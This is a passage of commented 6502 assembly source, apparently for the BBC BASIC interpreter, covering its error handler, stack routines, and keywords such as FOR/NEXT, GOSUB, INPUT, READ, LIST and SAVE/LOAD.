sta $4D
sta $4E
cpx $4D
beq LB2CA
LB2B5:
ldx #$FB
txs
pla
sta $0C
pla
sta $0B
brk
.byte $1F, "Arguments"
brk
LB2CA:
jsr LBDEA
pla
sta $2A
pla
sta $2B
pla
sta $2C
bmi LB2F9
lda $2D
beq LB2B5
sta $27
ldx #$37
jsr LBE44
lda $27
bpl LB2F0
jsr LBD7E
jsr LA3B5
jmp LB2F3
LB2F0:
jsr LBDEA
LB2F3:
jsr LB4B7
jmp LB303
LB2F9:
lda $2D
bne LB2B5
jsr LBDCB
jsr L8C21
LB303:
dec $4D
bne LB2CA
lda $4E
pha
jmp LB202
; Push a value onto the stack
; ---------------------------
LB30D:
ldy $2C
cpy #$04
bne LB318
ldx #$37
jsr LBE44
LB318:
jsr LB32C
php
jsr LBD90
plp
beq LB329
bmi LB329
ldx #$37
jsr LAF56
LB329:
jmp LBD94
LB32C:
ldy $2C
bmi LB384
beq LB34F
cpy #$05
beq LB354
ldy #$03
lda ($2A),y
sta $2D
dey
lda ($2A),y
sta $2C
dey
lda ($2A),y
tax
dey
lda ($2A),y
sta $2A
stx $2B
lda #$40
rts
LB34F:
lda ($2A),y
jmp LAEEA
LB354:
dey
lda ($2A),y
sta $34
dey
lda ($2A),y
sta $33
dey
lda ($2A),y
sta $32
dey
lda ($2A),y
sta $2E
dey
lda ($2A),y
sta $30
sty $35
sty $2F
ora $2E
ora $32
ora $33
ora $34
beq LB37F
lda $2E
ora #$80
LB37F:
sta $31
lda #$FF
rts
LB384:
cpy #$80
beq LB3A7
ldy #$03
lda ($2A),y
sta $36
beq LB3A6
ldy #$01
lda ($2A),y
sta $38
dey
lda ($2A),y
sta $37
ldy $36
LB39D:
dey
lda ($37),y
sta $0600,y
tya
bne LB39D
LB3A6:
rts
LB3A7:
lda $2B
beq LB3C0
LB3AB:
ldy #$00
LB3AD:
lda ($2A),y
sta $0600,y
eor #$0D
beq LB3BA
iny
bne LB3AD
tya
LB3BA:
sty $36
rts
; =CHR$ numeric
; =============
LB3BD:
jsr L92E3
LB3C0:
lda $2A
jmp LAFC2
LB3C5:
ldy #$00
sty $08
sty $09
ldx $18
stx $38
sty $37
ldx $0C
cpx #$07
beq LB401
ldx $0B
LB3D9:
jsr L8942
cmp #$0D
bne LB3F9
cpx $37
lda $0C
sbc $38
bcc LB401
jsr L8942
ora #$00
bmi LB401
sta $09
jsr L8942
sta $08
jsr L8942
LB3F9:
cpx $37
lda $0C
sbc $38
bcs LB3D9
LB401:
rts
; ERROR HANDLER
; =============
LB402:
; FAULT set up, now process BRK error
; -----------------------------------
jsr LB3C5
sty $20
lda (FAULT),Y ; If ERR<>0, skip past ON ERROR OFF
bne LB413
lda #LB433 & 255 ; ON ERROR OFF
sta $16
lda #LB433 / 256
sta $17
LB413:
lda $16 ; Point program point to ERROR program
sta $0B
lda $17
sta $0C
jsr LBD3A ; Clear DATA and stack
tax
stx $0A
lda #$DA ; Clear VDU queue
jsr OSBYTE
lda #$7E ; Acknowledge any Escape state
jsr OSBYTE
ldx #$FF ; Clear system stack
stx $28
txs
jmp L8BA3 ; Jump to execution loop
LD428:
; Default ERROR program
; ---------------------
LB433:
.byte tknREPORT, ":", tknIF, tknERL
.byte tknPRINT, '"', " at line ", '"', ';', tknERL, ':', tknEND
.byte tknELSE, tknPRINT, ":"
.byte tknEND, 13
; SOUND numeric, numeric, numeric, numeric
; ========================================
LB44C:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L8821 ; Evaluate integer
ldx #$03 ; Three more to evaluate
LB451:
lda $2A ; Stack current 16-bit integer
pha
lda $2B
pha
txa
pha
jsr L92DA
pla
tax
dex
bne LB451
jsr L9852
lda $2A
sta $3D
lda $2B
sta $3E
ldy #$07
ldx #$05
bne LB48F
.endif
; ENVELOPE a,b,c,d,e,f,g,h,i,j,k,l,m,n
; ====================================
LB472:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L8821 ; Evaluate integer
ldx #$0D ; 13 more to evaluate
LB477:
lda $2A ; Stack current 8-bit integer
pha
txa ; Step past comma, evaluate next integer
pha
jsr L92DA
pla ; Loop to stack this one
tax
dex
bne LB477
LB484:
jsr L9852 ; Check end of statement
lda $2A ; Copy current 8-bit integer to end of control block
sta $44
ldx #$0C ; Prepare for 12 more bytes and OSWORD 8
ldy #$08
LB48F:
pla ; Pop bytes into control block
sta $37,x
dex
bpl LB48F
tya ; Y=OSWORD number
ldx #$37 ; XY=>control block
ldy #$00
jsr OSWORD
jmp L8B9B ; Return to execution loop
.endif
; WIDTH numeric
; =============
LB4A0:
jsr L8821
jsr L9852
ldy $2A
dey
sty $23
jmp L8B9B
LB4AE:
jmp L8C0E
; Store byte or word integer
; ==========================
LB4B1:
jsr L9B29 ; Evaluate expression
LB4B4:
jsr LBE0B ; Unstack integer (address of data)
LB4B7:
lda $39
cmp #$05 ; Size=5, jump to store float
beq LB4E0
lda $27 ; Type<>num, jump to error
beq LB4AE
bpl LB4C6 ; Type=int, jump to store it
jsr LA3E4 ; Convert float to integer
LB4C6:
ldy #$00
lda $2A ; Store byte 1
sta ($37),y
lda $39 ; Exit if size=0, byte
beq LB4DF
lda $2B ; Store byte 2
iny
sta ($37),y
lda $2C ; Store byte 3
iny
sta ($37),y
lda $2D ; Store byte 4
iny
sta ($37),y
LB4DF:
rts
; Store float
; ===========
LB4E0:
lda $27 ; Type<>num, jump to error
beq LB4AE
bmi LB4E9 ; Type=float, jump to store it
jsr LA2BE ; Convert integer to float
LB4E9:
ldy #$00 ; Store 5-byte float
lda $30 ; exponent
sta ($37),y
iny
lda $2E ; Unpack sign
and #$80
sta $2E
lda $31 ; Unpack mantissa 1
and #$7F
ora $2E ; sign + mantissa 1
sta ($37),y
iny ; mantissa 2
lda $32
sta ($37),y
iny ; mantissa 3
lda $33
sta ($37),y
iny ; mantissa 3
lda $34
sta ($37),y
rts
LB500:
LB50E:
sta $37
cmp #$80
bcc LB558
lda #L8071 & 255 ; Point to token table
sta $38
lda #L8071 / 256
sta $39
sty $3A
LB51E:
ldy #$00
LB520:
iny
lda ($38),y
bpl LB520
cmp $37
beq LB536
iny
tya
sec
adc $38
sta $38
bcc LB51E
inc $39
bcs LB51E
LB536:
ldy #$00
LB538:
lda ($38),y
bmi LB542
jsr LB558
iny
bne LB538
LB542:
ldy $3A
rts
LB545:
pha
lsr a
lsr a
lsr a
lsr a
jsr LB550
pla
and #$0F
LB550:
cmp #$0A
bcc LB556
adc #$06
LB556:
adc #$30
LB558:
cmp #$0D
bne LB567
jsr OSWRCH
jmp LBC28
LB562:
jsr LB545
LB565:
lda #$20
LB567:
pha
lda $23
cmp $1E
bcs LB571
jsr LBC25
LB571:
pla
inc $1E
jmp (WRCHV)
LB577:
and $1F
beq LB589
txa
beq LB589
bmi LB565
LB580:
jsr LB565
jsr LB558
dex
bne LB580
LB589:
rts
LB58A:
inc $0A
jsr L9B1D
jsr L984C
jsr L92EE
lda $2A
sta $1F
jmp L8AF6
; LIST [linenum [,linenum]]
; =========================
LB59C:
iny
lda ($0B),y
cmp #'O'
beq LB58A
lda #$00
sta $3B
sta $3C
jsr LAED8
jsr L97DF
php
jsr LBD94
lda #$FF
sta $2A
lda #$7F
sta $2B
plp
bcc LB5CF
jsr L8A97
cmp #','
beq LB5D8
jsr LBDEA
jsr LBD94
dec $0A
bpl LB5DB
LB5CF:
jsr L8A97
cmp #','
beq LB5D8
dec $0A
LB5D8:
jsr L97DF
LB5DB:
lda $2A
sta $31
lda $2B
sta $32
jsr L9857
jsr LBE6F
jsr LBDEA
jsr L9970
lda $3D
sta $0B
lda $3E
sta $0C
bcc LB60F
dey
bcs LB602
LB5FC:
jsr LBC25
jsr L986D
LB602:
lda ($0B),y
sta $2B
iny
lda ($0B),y
sta $2A
iny
iny
sty $0A
LB60F:
lda $2A
clc
sbc $31
lda $2B
sbc $32
bcc LB61D
jmp L8AF6
LB61D:
jsr L9923
ldx #$FF
stx $4D
lda #$01
jsr LB577
ldx $3B
lda #$02
jsr LB577
ldx $3C
lda #$04
jsr LB577
LB637:
ldy $0A
LB639:
lda ($0B),y
cmp #$0D
beq LB5FC
cmp #$22
bne LB651
lda #$FF
eor $4D
sta $4D
lda #$22
LB64B:
jsr LB558
iny
bne LB639
LB651:
bit $4D
bpl LB64B
cmp #$8D
bne LB668
jsr L97EB
sty $0A
lda #$00
sta $14
jsr L991F
jmp LB637
LB668:
cmp #$E3
bne LB66E
inc $3B
LB66E:
cmp #$ED
bne LB678
ldx $3B
beq LB678
dec $3B
LB678:
cmp #$F5
bne LB67E
inc $3C
LB67E:
cmp #$FD
bne LB688
ldx $3C
beq LB688
dec $3C
LB688:
jsr LB50E
iny
bne LB639
LB68E:
brk
.byte $20, "No ", tknFOR
brk
; NEXT [variable [,...]]
; ======================
LB695:
jsr L95C9
bne LB6A3
ldx $26
beq LB68E
bcs LB6D7
LB6A0:
jmp L982A
LB6A3:
bcs LB6A0
ldx $26
beq LB68E
LB6A9:
lda $2A
cmp $04F1,x
bne LB6BE
lda $2B
cmp $04F2,x
bne LB6BE
lda $2C
cmp $04F3,x
beq LB6D7
LB6BE:
txa
sec
sbc #$0F
tax
stx $26
bne LB6A9
brk
.byte $21, "Can't Match ", tknFOR
brk
LB6D7:
lda $04F1,x
sta $2A
lda $04F2,x
sta $2B
ldy $04F3,x
cpy #$05
beq LB766
ldy #$00
lda ($2A),y
adc $04F4,x
sta ($2A),y
sta $37
iny
lda ($2A),y
adc $04F5,x
sta ($2A),y
sta $38
iny
lda ($2A),y
adc $04F6,x
sta ($2A),y
sta $39
iny
lda ($2A),y
adc $04F7,x
sta ($2A),y
tay
lda $37
sec
sbc $04F9,x
sta $37
lda $38
sbc $04FA,x
sta $38
lda $39
sbc $04FB,x
sta $39
tya
sbc $04FC,x
ora $37
ora $38
ora $39
beq LB741
tya
eor $04F7,x
eor $04FC,x
bpl LB73F
bcs LB741
bcc LB751
LB73F:
bcs LB751
LB741:
ldy $04FE,x
lda $04FF,x
sty $0B
sta $0C
jsr L9877
jmp L8BA3
LB751:
lda $26
sec
sbc #$0F
sta $26
ldy $1B
sty $0A
jsr L8A97
cmp #','
bne LB7A1
jmp LB695
LB766:
jsr LB354
lda $26
clc
adc #$F4
sta $4B
lda #$05
sta $4C
jsr LA500
lda $2A
sta $37
lda $2B
sta $38
jsr LB4E9
lda $26
sta $27
clc
adc #$F9
sta $4B
lda #$05
sta $4C
jsr L9A5F
beq LB741
lda $04F5,x
bmi LB79D
bcs LB741
bcc LB751
LB79D:
bcc LB741
bcs LB751
LB7A1:
jmp L8B96
LB7A4:
brk
.byte $22, tknFOR, " variable"
LB7B0:
brk
.byte $23, "Too many ", tknFOR, "s"
LB7BD:
brk
.byte $24, "No ", tknTO
brk
; FOR numvar = numeric TO numeric [STEP numeric]
; ==============================================
LB7C4:
jsr L9582
beq LB7A4
bcs LB7A4
jsr LBD94
jsr L9841
jsr LB4B1
ldy $26
cpy #$96
bcs LB7B0
lda $37
sta $0500,y
lda $38
sta $0501,y
lda $39
sta $0502,y
tax
jsr L8A8C
cmp #$B8
bne LB7BD
cpx #$05
beq LB84F
jsr L92DD
ldy $26
lda $2A
sta $0508,y
lda $2B
sta $0509,y
lda $2C
sta $050A,y
lda $2D
sta $050B,y
lda #$01
jsr LAED8
jsr L8A8C
cmp #$88
bne LB81F
jsr L92DD
ldy $1B
LB81F:
sty $0A
ldy $26
lda $2A
sta $0503,y
lda $2B
sta $0504,y
lda $2C
sta $0505,y
lda $2D
sta $0506,y
LB837:
jsr L9880
ldy $26
lda $0B
sta $050D,y
lda $0C
sta $050E,y
clc
tya
adc #$0F
sta $26
jmp L8BA3
LB84F:
jsr L9B29
jsr L92FD
lda $26
clc
adc #$08
sta $4B
lda #$05
sta $4C
jsr LA38D
jsr LA699
jsr L8A8C
cmp #$88
bne LB875
jsr L9B29
jsr L92FD
ldy $1B
LB875:
sty $0A
lda $26
clc
adc #$03
sta $4B
lda #$05
sta $4C
jsr LA38D
jmp LB837
; GOSUB numeric
;=============
LB888:
jsr LB99A
LB88B:
jsr L9857
ldy $25
cpy #$1A
bcs LB8A2
lda $0B
sta $05CC,y
lda $0C
sta $05E6,y
inc $25
bcc LB8D2
LB8A2:
brk
.byte $25, "Too many ", tknGOSUB, "s"
LB8AF:
brk
.byte $26, "No ", tknGOSUB
brk
; RETURN
; ======
LB8B6:
jsr L9857 ; Check for end of statement
ldx $25 ; If GOSUB stack empty, error
beq LB8AF
dec $25 ; Decrement GOSUB stack
ldy $05CB,x ; Get stacked line pointer
lda $05E5,x
sty $0B ; Set line pointer
sta $0C
jmp L8B9B ; Jump back to execution loop
; GOTO numeric
; ============
LB8CC:
jsr LB99A ; Find destination line, check for end of statement
jsr L9857
LB8D2:
lda $20 ; If TRACE ON, print current line number
beq LB8D9
jsr L9905
LB8D9:
ldy $3D ; Get destination line address
lda $3E
LB8DD:
sty $0B ; Set line pointer
sta $0C
jmp L8BA3 ; Jump back to execution loop
; ON ERROR OFF
; ------------
LB8E4:
jsr L9857 ; Check end of statement
lda #LB433 & 255 ; ON ERROR OFF
sta $16
lda #LB433 / 256
sta $17
jmp L8B9B ; Jump to execution loop
; ON ERROR [OFF | program ]
; -------------------------
LB8F2:
jsr L8A97
cmp #tknOFF ; ON ERROR OFF
beq LB8E4
ldy $0A
dey
jsr L986D
lda $0B ; Point ON ERROR pointer to here
sta $16
lda $0C
sta $17
jmp L8B7D ; Skip past end of line
LB90A:
brk
.byte $27, tknON, " syntax"
brk
; ON [ERROR] [numeric]
; ====================
LB915:
jsr L8A97 ; Skip spaces and get next character
cmp #tknERROR ; Jump with ON ERROR
beq LB8F2
dec $0A
jsr L9B1D
jsr L92F0
ldy $1B
iny
sty $0A
cpx #tknGOTO
beq LB931
cpx #tknGOSUB
bne LB90A
LB931:
txa ; Save GOTO/GOSUB token
pha
lda $2B ; Get IntA
ora $2C
ora $2D ; ON >255 - out of range, look for an ELSE
bne LB97D
ldx $2A ; ON zero - out of range, look for an ELSE
beq LB97D
dex ; Dec. counter, if zero use first destination
beq LB95C
ldy $0A ; Get line index
LB944:
lda ($0B),y
iny
cmp #$0D ; End of line - error
beq LB97D
cmp #':' ; End of statement - error
beq LB97D
cmp #tknELSE ; ELSE - drop everything else to here
beq LB97D
cmp #',' ; No comma, keep looking
bne LB944
dex ; Comma found, loop until count decremented to zero
bne LB944
sty $0A ; Store line index
LB95C:
jsr LB99A ; Read line number
pla ; Get stacked token back
cmp #tknGOSUB ; Jump to do GOSUB
beq LB96A
jsr L9877 ; Update line index and check Escape
jmp LB8D2
; Update line pointer so RETURN comes back to next statement
; ----------------------------------------------------------
LB96A:
ldy $0A ; Get line pointer
LB96C:
lda ($0B),y ; Get character from line
iny
cmp #$0D ; End of line, RETURN to here
beq LB977
cmp #':' ; <colon>, return to here
bne LB96C
LB977:
dey ; Update line index to RETURN point
sty $0A
jmp LB88B ; Jump to do the GOSUB
; ON num out of range - check for an ELSE clause
; ----------------------------------------------
LB97D:
ldy $0A ; Get line index
pla ; Drop GOTO/GOSUB token
LB980:
lda ($0B),y ; Get character from line
iny
cmp #tknELSE ; Found ELSE, jump to use it
beq LB995
cmp #$0D ; Loop until end of line
bne LB980
brk
.byte $28, tknON, " range"
brk
LB995:
sty $0A ; Store line index and jump to GOSUB
jmp L98E3
LB99A:
jsr L97DF ; Embedded line number found
bcs LB9AF
jsr L9B1D ; Evaluate expression, ensure integer
jsr L92F0
lda $1B ; Line number low byte
sta $0A
lda $2B ; Line number high byte
and #$7F ; Note - this makes goto &8000+10 the same as goto 10
sta $2B
LB9AF:
jsr L9970 ; Look for line, error if not found
bcs LB9B5
rts
LB9B5:
brk
.byte $29, "No such line"
brk
LB9C4:
jmp L8C0E
LB9C7:
jmp L982A
LB9CA:
sty $0A
jmp L8B98
; INPUT #channel, ...
; -------------------
LB9CF:
dec $0A
jsr LBFA9
lda $1B
sta $0A
sty $4D
LB9DA:
jsr L8A97
cmp #','
bne LB9CA
lda $4D
pha
jsr L9582
beq LB9C7
lda $1B
sta $0A
pla
sta $4D
php
jsr LBD94
ldy $4D
jsr OSBGET
sta $27
plp
bcc LBA19
lda $27
bne LB9C4
jsr OSBGET
sta $36
tax
beq LBA13
LBA0A:
jsr OSBGET
sta $05FF,x
dex
bne LBA0A
LBA13:
jsr L8C1E
jmp LB9DA
LBA19:
lda $27
beq LB9C4
bmi LBA2B
ldx #$03
LBA21:
jsr OSBGET
sta $2A,x
dex
bpl LBA21
bmi LBA39
LBA2B:
ldx #$04
LBA2D:
jsr OSBGET
sta $046C,x
dex
bpl LBA2D
jsr LA3B2
LBA39:
jsr LB4B4
jmp LB9DA
LBA3F:
pla
pla
jmp L8B98
; INPUT [LINE] [print items][variables]
; =====================================
LBA44:
jsr L8A97 ; Get next non-space char
cmp #'#' ; If '#' jump to do INPUT#
beq LB9CF
cmp #tknLINE ; If 'LINE', skip next with CS
beq LBA52
dec $0A ; Step back to non-LINE char, set CC
clc
LBA52:
ror $4D ; bit7=0, bit6=notLINE/LINE
lsr $4D
lda #$FF
sta $4E
LBA5A:
jsr L8E8A ; Process ' " TAB SPC, jump if none found
bcs LBA69
LBA5F:
jsr L8E8A ; Keep processing any print items
bcc LBA5F
ldx #$FF
stx $4E
clc
LBA69:
php
asl $4D
plp
ror $4D
cmp #',' ; ',' - jump to do next item
beq LBA5A
cmp #';' ; ';' - jump to do next item
beq LBA5A
dec $0A
lda $4D
pha
lda $4E
pha
jsr L9582
beq LBA3F
pla
sta $4E
pla
sta $4D
lda $1B
sta $0A
php
bit $4D
bvs LBA99
lda $4E
cmp #$FF
bne LBAB0
LBA99:
bit $4D
bpl LBAA2
lda #'?'
jsr LB558
LBAA2:
jsr LBBFC
sty $36
asl $4D
clc
ror $4D
bit $4D
bvs LBACD
LBAB0:
sta $1B
lda #$00
sta $19
lda #$06
sta $1A
jsr LADAD
LBABD:
jsr L8A8C
cmp #','
beq LBACA
cmp #$0D
bne LBABD
ldy #$FE
LBACA:
iny
sty $4E
LBACD:
plp
bcs LBADC
jsr LBD94
jsr LAC34
jsr LB4B4
jmp LBA5A
LBADC:
lda #$00
sta $27
jsr L8C21
jmp LBA5A
; RESTORE [linenum]
; =================
LBAE6:
ldy #$00 ; Set DATA pointer to PAGE
sty $3D
ldy $18
sty $3E
jsr L8A97
dec $0A
cmp #':'
beq LBB07
cmp #$0D
beq LBB07
cmp #tknELSE
beq LBB07
jsr LB99A
ldy #$01
jsr LBE55
LBB07:
jsr L9857
lda $3D
sta $1C
lda $3E
sta $1D
jmp L8B9B
LBB15:
jsr L8A97
cmp #','
beq LBB1F
jmp L8B96
; READ varname [,...]
; ===================
LBB1F:
jsr L9582
beq LBB15
bcs LBB32
jsr LBB50
jsr LBD94
jsr LB4B1
jmp LBB40
LBB32:
jsr LBB50
jsr LBD94
jsr LADAD
sta $27
jsr L8C1E
LBB40:
clc
lda $1B
adc $19
sta $1C
lda $1A
adc #$00
sta $1D
jmp LBB15
LBB50:
lda $1B
sta $0A
lda $1C
sta $19
lda $1D
sta $1A
ldy #$00
sty $1B
jsr L8A8C
cmp #','
beq LBBB0
cmp #tknDATA
beq LBBB0
cmp #$0D
beq LBB7A
LBB6F:
jsr L8A8C
cmp #','
beq LBBB0
cmp #$0D
bne LBB6F
LBB7A:
ldy $1B
lda ($19),y
bmi LBB9C
iny
iny
lda ($19),y
tax
LBB85:
iny
lda ($19),y
cmp #$20
beq LBB85
cmp #tknDATA
beq LBBAD
txa
clc
adc $19
sta $19
bcc LBB7A
inc $1A
bcs LBB7A
LBB9C:
brk
.byte $2A, "Out of ", tknDATA
LBBA6:
brk
.byte $2B, "No ", tknREPEAT
brk
LBBAD:
iny
sty $1B
LBBB0:
rts
; UNTIL numeric
; =============
LBBB1:
jsr L9B1D
jsr L984C
jsr L92EE
ldx $24
beq LBBA6
lda $2A
ora $2B
ora $2C
ora $2D
beq LBBCD
dec $24
jmp L8B9B
LBBCD:
ldy $05A3,x
lda $05B7,x
jmp LB8DD
LBBD6:
brk
.byte $2C, "Too many ", tknREPEAT, "s"
brk
; REPEAT
; ======
LBBE4:
ldx $24
cpx #$14
bcs LBBD6
jsr L986D
lda $0B
sta $05A4,x
lda $0C
sta $05B8,x
inc $24
jmp L8BA3
; Input string to string buffer
; -----------------------------
LBBFC:
ldy #$00
lda #$06 ; String buffer at $0600
bne LBC09
; Print character, read input line
; --------------------------------
LBC02:
jsr LB558 ; Print character
ldy #$00 ; $AAYY=input buffer at &0700
lda #$07
LBC09:
sty $37 ; $37/8=>input buffer
sta $38
; BBC - Call MOS to read a line
; -----------------------------
lda #$EE ; Maximum length
sta $39
lda #$20 ; Lowest acceptable character
sta $3A
ldy #$FF ; Highest acceptable character
sty $3B
iny ; XY=>control block at &0037
ldx #$37
tya ; Call OSWORD 0 to read line of text
jsr OSWORD
bcc LBC28 ; CC, Escape not pressed
jmp L9838 ; Escape
LBC25:
jsr OSNEWL
LBC28:
lda #$00 ; Set COUNT to zero
sta $1E
rts
LBC2D:
jsr L9970
bcs LBC80
lda $3D
sbc #$02
sta $37
sta $3D
sta $12
lda $3E
sbc #$00
sta $38
sta $13
sta $3E
ldy #$03
lda ($37),y
clc
adc $37
sta $37
bcc LBC53
inc $38
LBC53:
ldy #$00
LBC55:
lda ($37),y
sta ($12),y
cmp #$0D
beq LBC66
LBC5D:
iny
bne LBC55
inc $38
inc $13
bne LBC55
LBC66:
iny
bne LBC6D
inc $38
inc $13
LBC6D:
lda ($37),y
sta ($12),y
bmi LBC7C
jsr LBC81
jsr LBC81
jmp LBC5D
LBC7C:
jsr LBE92
clc
LBC80:
rts
LBC81:
iny
bne LBC88
inc $13
inc $38
LBC88:
lda ($37),y
sta ($12),y
rts
LBC8D:
sty $3B
jsr LBC2D
ldy #$07
sty $3C
ldy #$00
lda #$0D
cmp ($3B),y
beq LBD10
LBC9E:
iny
cmp ($3B),y
bne LBC9E
iny
iny
iny
sty $3F
inc $3F
lda $12
sta $39
lda $13
sta $3A
jsr LBE92
sta $37
lda $13
sta $38
dey
lda $06
cmp $12
lda $07
sbc $13
bcs LBCD6
jsr LBE6F
jsr LBD20
brk
.byte 0, tknLINE, " space"
brk
LBCD6:
lda ($39),y
sta ($37),y
tya
bne LBCE1
dec $3A
dec $38
LBCE1:
dey
tya
adc $39
ldx $3A
bcc LBCEA
inx
LBCEA:
cmp $3D
txa
sbc $3E
bcs LBCD6
sec
ldy #$01
lda $2B
sta ($3D),y
iny
lda $2A
sta ($3D),y
iny
lda $3F
sta ($3D),y
jsr LBE56
ldy #$FF
LBD07:
iny
lda ($3B),y
sta ($3D),y
cmp #$0D
bne LBD07
LBD10:
rts
; RUN
; ===
LBD11:
jsr L9857
LBD14:
jsr LBD20
lda $18
sta $0C ; Point PtrA to PAGE
stx $0B
jmp L8B0B
; Clear BASIC heap, stack and DATA pointer
; ========================================
LBD20:
lda $12 ; LOMEM=TOP, VAREND=TOP
sta $00
sta $02
lda $13
sta $01
sta $03
jsr LBD3A ; Clear DATA and stack
LBD2F:
ldx #$80
lda #$00
LBD33:
sta $047F,x ; Clear dynamic variables list
dex
bne LBD33
rts
; Clear DATA pointer and BASIC stack
; ==================================
LBD3A:
lda $18 ; DATA pointer hi=PAGE hi
sta $1D
lda $06 ; STACK=HIMEM
sta $04
lda $07
sta $05
lda #$00 ; Clear REPEAT, FOR, GOSUB stacks
sta $24
sta $26
sta $25
sta $1C ; DATA pointer=PAGE
rts
LBD51:
lda $04
sec
sbc #$05
jsr LBE2E
ldy #$00
lda $30
sta ($04),y
iny
lda $2E
and #$80
sta $2E
lda $31
and #$7F
ora $2E
sta ($04),y
iny
lda $32
sta ($04),y
iny
lda $33
sta ($04),y
iny
lda $34
sta ($04),y
rts
LBD7E:
lda $04
clc
sta $4B
adc #$05
sta $04
lda $05
sta $4C
adc #$00
sta $05
rts
LBD90:
beq LBDB2
bmi LBD51
LBD94:
lda $04
sec
sbc #$04
LBD99:
jsr LBE2E
ldy #$03
lda $2D
sta ($04),y
dey
lda $2C
sta ($04),y
dey
lda $2B
sta ($04),y
dey
lda $2A
sta ($04),y
rts
; Stack the current string
; ========================
LBDB2:
clc ; stackbot=stackbot-length-1
lda $04
sbc $36
jsr LBE2E ; Check enough space
ldy $36 ; Zero length, just stack length
beq LBDC6
LBDBE:
lda $05FF,y ; Copy string to stack
sta ($04),y
dey ; Loop for all characters
bne LBDBE
LBDC6:
lda $36 ; Copy string length
sta ($04),y
rts
; Unstack a string
; ================
LBDCB:
ldy #$00 ; Get stacked string length
lda ($04),y
sta $36 ; If zero length, just unstack length
beq LBDDC
tay
LBDD4:
lda ($04),y ; Copy string to string buffer
sta $05FF,y
dey ; Loop for all characters
bne LBDD4
LBDDC:
ldy #$00 ; Get string length again
lda ($04),y
sec
LBDE1:
adc $04 ; Update stack pointer
sta $04
bcc LBE0A
inc $05
rts
; Unstack an integer to IntA
; --------------------------
LBDEA:
ldy #$03
lda ($04),y ; Copy to IntA
sta $2D
dey
lda ($04),y
sta $2C
dey
lda ($04),y
sta $2B
dey
lda ($04),y
sta $2A
LBDFF:
clc
lda $04
adc #$04 ; Drop 4 bytes from stack
sta $04
bcc LBE0A
inc $05
LBE0A:
rts
; Unstack an integer to zero page
; -------------------------------
LBE0B:
ldx #$37
LBE0D:
ldy #$03
lda ($04),y
sta $03,x
dey
lda ($04),y
sta $02,x
dey
lda ($04),y
sta $01,x
dey
lda ($04),y
sta $00,x
clc
lda $04 ; Drop 4 bytes from stack
adc #$04
sta $04
bcc LBE0A
inc $05
rts
LBE2E:
sta $04
bcs LBE34
dec $05
LBE34:
ldy $05
cpy $03
bcc LBE41
bne LBE40
cmp $02
bcc LBE41
LBE40:
rts
LBE41:
jmp L8CB7
LBE44:
lda $2A
sta $00,x
lda $2B
sta $01,x
lda $2C
sta $02,x
lda $2D
sta $03,x
rts
LBE55:
clc
LBE56:
tya
adc $3D
sta $3D
bcc LBE5F
inc $3E
LBE5F:
ldy #$01
rts
LBE62:
jsr LBEDD ; FILE.LOAD=PAGE
tay
lda #$FF
sty F_EXEC ; FILE.EXEC=0, load to specified address
ldx #$37
jsr OSFILE
; Scan program to check consistency and find TOP
; ----------------------------------------------
LBE6F:
lda $18
sta $13
ldy #$00 ; Point TOP to PAGE
sty $12
iny
LBE78:
dey ; Get byte preceding line
lda ($12),y
cmp #$0D ; Not <cr>, jump to 'Bad program'
bne LBE9E
iny ; Step to line number/terminator
lda ($12),y
bmi LBE90
ldy #$03 ; Point to line length
lda ($12),y ; Zero length, jump to 'Bad program'
beq LBE9E
clc ; Update TOP to point to next line
jsr LBE93
bne LBE78 ; Loop to check next line
; End of program found, set TOP
; -----------------------------
LBE90:
iny
clc
LBE92:
tya
LBE93:
adc $12 ; TOP=TOP+A
sta $12
bcc LBE9B
inc $13
LBE9B:
ldy #$01 ; Return Y=1, NE
rts
; Report 'Bad program' and jump to immediate mode
; -----------------------------------------------
LBE9E:
jsr LBFCF ; Print inline text
.byte 13, "Bad program", 13
nop
jmp L8AF6 ; Jump to immediate mode
; Point &37/8 to <cr>-terminated string in string buffer
; ------------------------------------------------------
LBEB2:
lda #$00
sta $37
lda #$06
sta $38
LBEBA:
ldy $36
lda #$0D
sta $0600,y
rts
; OSCLI string$ - Pass string to OSCLI to execute
; ===============================================
LBEC2:
jsr LBED2 ; $37/8=>cr-string
ldx #$00
ldy #$0600 / 256
jsr OS_CLI ; Call OSCLI and return to execution loop
jmp L8B9B
LBECF:
jmp L8C0E
LBED2:
jsr L9B1D ; Evaluate expression, error if not string
bne LBECF
jsr LBEB2 ; Convert to <cr>-string, check end of statement
jmp L984C
; Set FILE.LOAD to MEMHI.PAGE
; ---------------------------
LBEDD:
jsr LBED2 ; LOAD.lo=&00
dey
sty F_LOAD+0
lda $18 ; LOAD.hi=PAGEhi
sta F_LOAD+1
LBEE7:
lda #$82 ; Get memory base high word
jsr OSBYTE
stx F_LOAD+2 ; Set LOAD high word
sty F_LOAD+3
lda #$00
rts
; SAVE string$
; =============
LBEF3:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBE6F ; Set FILE.END to TOP
lda $12
sta F_END+0 ; Set FILE.END to TOP
lda $13
sta F_END+1
lda #L8023 & 255 ; Set FILE.EXEC to STARTUP
sta F_EXEC+0
lda #L8023 / 256
sta F_EXEC+1
lda $18 ; Set FILE.START to PAGE
sta F_START+1
jsr LBEDD ; Set FILE.LOAD to PAGE
stx F_EXEC+2 ; Set address high words
sty F_EXEC+3
stx F_START+2
sty F_START+3
stx F_END+2
sty F_END+3
sta F_START+0 ; Low byte of FILE.START
tay
ldx #$37
jsr OSFILE
jmp L8B9B
.endif
; LOAD string$
; ============
LBF24:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBE62 ; Do LOAD, jump to immediate mode
jmp L8AF3
.endif
; CHAIN string$
; =============
LBF2A:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBE62 ; Do LOAD, jump to execution loop
jmp LBD14
.endif
; PTR#numeric=numeric
; ===================
LBF30:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBFA9 ; Evaluate #handle
pha
jsr L9813 ; Step past '=', evaluate integer
jsr L92EE
pla ; Get handle, point to IntA
tay
ldx #$2A
lda #$01
jsr OSARGS
jmp L8B9B ; Jump to execution loop
.endif
; =EXT#numeric - Read file pointer via OSARGS
; ===========================================
LBF46:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
sec ; Flag to do =EXT
.endif
; =PTR#numeric - Read file pointer via OSARGS
; ===========================================
LBF47:
lda #$00 ; A=0 or 1 for =PTR or =EXT
rol a
rol a
